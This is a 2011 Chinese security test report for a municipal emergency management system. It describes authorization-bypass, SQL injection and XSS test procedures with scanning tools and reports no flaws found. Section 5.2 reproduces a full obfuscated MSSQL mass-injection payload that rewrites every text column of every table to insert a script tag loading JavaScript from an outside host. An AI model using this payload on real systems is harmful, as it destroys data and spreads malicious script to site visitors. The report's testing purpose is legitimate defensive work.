
软件安全测试报告(SSTR)
XXXX信息技术有限公司
2011年10月
1.测试背景
突发事件的应急处理旨在把突发事件的发生发展控制在某一特定的阶段。使它不向性质更为严重的下一阶段演变;尽可能使突发事件不发生,如果发生,也要防止危害扩大,并努力减少损失。防灾减灾是突发事件应急处理的核心目标,突发事件应急处理的一切工作都要以此为中心。
根据突发事件的发生过程可以把突发事件的应急处理划分为事前防灾、事中减灾、事后恢复和评估三个重要阶段。突发事件的应急处理对时间性特别强。突发公共事件应急信息系统就是利用计算机网络系统,建立一个集突发公共事件的预、防、抗、救、建于一体,信息畅通、反应快捷、指挥有力、责任明确、依法运转、成本低廉的新的危机管理系统。
网络传播的快捷性、广泛性、渗透性、互动性能给行政部门提供解决危机极大地便利,通过它,可以及时了解事件发生始末。部署应对危机的措施。加快对突发事件的预测、预报和预警。使得其在应急安全危机中能起到独特的作用。应急指挥信息系统就是要建立一套数据报告准确,信息共享便利,指挥调度及时,能够快速对各种突发事件进行预测预报的监测网络体系。
而XXXX应急管理系统的建立就是为满足处置突发事件的要求,实现应急资源整合,提高应对突发公共事件的快速反应能力和资源利用效率。
系统建立后,将搭建株洲市应急平台,对于收集、整理和分析利用应急信息资源,组织实施对突发公共事件的快速响应,有效预防和妥善应对各类突发公共事件,提供先进的技术手段,全面提高应急能力。
本系统功能模块较多,其中部分模块面向用户较多,重要模块操作频率高,系统响应时间等都应控制在用户使用的可接受范围内。因此,需要测试评估系统的性能。
2.测试目标
通过安全测试实现对系统安全的保障。
3.测试概要描述
3.1.系统架构
XXXX应急管理系统采用的是以下体系:
JAVA+ Oracle
3.2.测试内容
本期建设内容即主要测试对象包括:
●基础支撑层
基础数据模块
应急资源模块
预案模块
GIS应用模块
系统接口模块
系统管理模块
●业务应用层
预测预警信息管理模块
应急信息收发模块
值守模块
调度反馈模块
●应急指挥层
应急过程模块
应急保障模块
应急辅助分析模块
行动方案模块
应急评估模块
●统一共享平台(为本系统提供接口的各类平台)
针对系统进行的安全测试类型主要是针对应用程序的测试包括:
●SQL注入
●XSS攻击点
●绕过授权
3.3.测试方法
手工测试和使用工具
工具包括:Paros proxy工具
Acunetix Web Vulnerability Scanner 6工具
IBM APPSCAN工具
4.测试环境
目前,所测试的《XXXX应急管理系统》是部署在公司局域网内的机器上,具体配置如下:
4.1.软硬件配置
硬件环境:
| 内存 | CPU | |
| WEB 服务器 | 1.96 GB | AMD Athlon(tm) Processor 3000+ 1.81GHz |
| 数据库 服务器 | 1.25GB | Intel(R) Xeon(R) CPU X3210 @ 2.13GHz |
局域网: 100Mbps
5.测试用例分析与设计
设计测试用例是为了更好地执行测试,从而定位出安全问题所在。
5.1.绕过授权
根据测试需求,测试的对象主要包括:
●基础支撑层
基础数据模块
应急资源模块
预案模块
GIS应用模块
●业务应用层
预测预警信息管理模块
应急信息收发模块
值守模块
调度反馈模块
●应急指挥层
应急过程模块
应急保障模块
应急辅助分析模块
行动方案模块
应急评估模块
根据测试需求,测试的方法主要包括:
不登录在地址框输入绝对地址
测试步骤:
✓登录系统,正常操作,记录下以上各测试对象绝对地址
✓不登录系统,在地址框中输入已保存的各页面的绝对地址
✓若仍可打开地址,则存在绕过授权的安全问题
用其他帐户登录后输入绝对地址
测试步骤:
✓一用户登录系统,正常操作,记录下各页面的绝对地址
✓另一用户登录系统后,在地址框中输入不属于自己权限范围内可查看或操作页面的绝对地址
✓若仍可打开地址或浏览到非用户权限范围内的数据,则存在绕过授权的安全问题
5.2.SQL注入
根据测试需求,测试的对象同5.1绕过授权
根据测试需求,测试的方法主要包括
经典的1=1 1=2 判断方法
测试步骤:
✓在测试页面地址后缀上添加 and 1=1,转到页面
✓在测试页面地址后缀上添加 and 1=2,转到页面
✓若第一步转到的页面正常,第二步转到的页面异常,则存在SQL注入点
在带参数页面后加攻击脚本。
✓在测试页面地址后缀上添加以下攻击脚本后转到页面:
;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x3C2F7469746C653E3C2F7072653E223E3C736372697074207372633D687474703A2F2F312E68616F3932392E636E2F61732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;
✓将上述页面的后缀去掉后,重新打开页面;
✓若页面出现异常,则证明存在SQL 注入点。
采用工具进行测试:
✓Paros proxy工具
✓Acunetix Web Vulnerability Scanner 6工具
✓IBM APPSCAN工具
5.3.XSS(跨站点攻击点)
根据测试需求,测试的方法主要包括:
采用工具进行测试:
✓Paros proxy工具
✓Acunetix Web Vulnerability Scanner 6工具
✓IBM APPSCAN工具
6.测试结果综合分析及建议
●本系统将页面的绝对地址已进行了过滤,避免了存在的输入绝对地址从而绕过授权的问题;
●不存在SQL注入点的问题;
●不存在XSS点的问题。
